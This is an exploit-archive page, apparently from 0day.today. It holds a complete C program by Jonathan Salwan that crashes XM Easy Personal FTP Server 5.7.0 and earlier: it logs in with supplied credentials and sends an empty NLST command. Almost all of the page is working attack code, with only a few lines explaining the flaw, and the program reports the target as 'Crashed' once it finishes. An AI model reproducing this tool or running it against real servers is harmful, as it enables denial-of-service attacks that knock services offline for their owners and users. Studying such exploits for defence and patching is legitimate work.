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XM Easy Personal FTP Server <= 5.7.0 (NLST) DoS Exploit
[=======================================================
XM Easy Personal FTP Server <= 5.7.0 (NLST) DoS Exploit
=======================================================
/*
XM Easy Personnal FTP Server <= 5.7.0
Remote Denial of Service with Request (NLST)
---------------------------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash
the FTP service by sending the "NLST" with NULL argument.
---------------------------------------------------------------------------------------------------------
Author: Jonathan Salwan
*/
#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
int syntax(char *file)
{
fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd>\n",file);
fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);
exit(0);
}
int main(int argc, char **argv)
{
if (argc < 4)
syntax(argv[0]);
int port = atoi(argv[2]);
int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;
struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);
char request[50];
char answer[200];
fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stderr,"[-]FAILED SOCKET\n");
return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
if (srv_connect != -1)
{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,200);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "NLST\r\n");
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
return 0;
}
# 0day.today [2024-12-25] #